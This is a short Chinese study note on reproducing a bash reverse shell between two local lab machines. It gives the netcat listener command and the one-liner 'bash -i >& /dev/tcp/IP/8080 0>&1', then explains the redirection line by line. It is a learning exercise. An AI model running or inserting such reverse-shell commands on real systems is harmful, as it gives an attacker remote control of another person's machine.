part1:不求甚解的本地復現
攻擊端Debian 10.x: 192.168.208.134
受害端Ubuntu : 192.168.208.135
攻擊端打開(監聽)某端口:
鍵入命令:【nc -lvp 8080】
受害端執行反彈shell:
鍵入命令:【bash -i >& /dev/tcp/192.168.208.134/8080 0>&1】
效果:
可以在攻擊機上操作受害機的終端。
part2:嘗試理解原理
(1) nc -lvp 8080
-l 設置netcat處於監聽狀態等待連接。
-v 顯示錯誤提示信息(非必須)
-p 設置本地監聽的端口號
(2) bash -i >& dev/tcp/192.168.208.134/8080 0>&1
-i 創建一個交互式的shell.
0,stdin,標准輸入(一般是鍵盤)
1,stdout,標准輸出(一般是顯示屏,准確的說是用戶終端控制台)
2,stderr,標准錯誤(出錯信息輸出)
> 輸出重定向;指定具體的輸出目標以替換默認的標准輸出。
eg:
>&:將聯合符號前面的內容與后面相結合然后一起重定向給后者。
dev/tcp/192.168.208.134/8080(dev/tcp/ip/port):linux里一切皆文件;這個東西也看做文件(但不能訪問),其作用是讓本機與目標主機通過指定端口建立tcp連接。
整體解讀的話,就是:
bash產生了一個交互環境與本地主機主動發起與目標主機8080端口建立的連接(即TCP 8080 會話連接)相結合,並重定向給tcp 8080會話連接;(這個具體咋回事估計得等再學點東西才能理解)
用戶鍵盤輸入與用戶標准輸出相結合,並重定向給一個標准的輸出;(這就是效果圖中ls出現兩次的原因;第二次是因為標准輸入也被重定向給了標准輸出,輸出出來了)
即得到一個bash 反彈環境。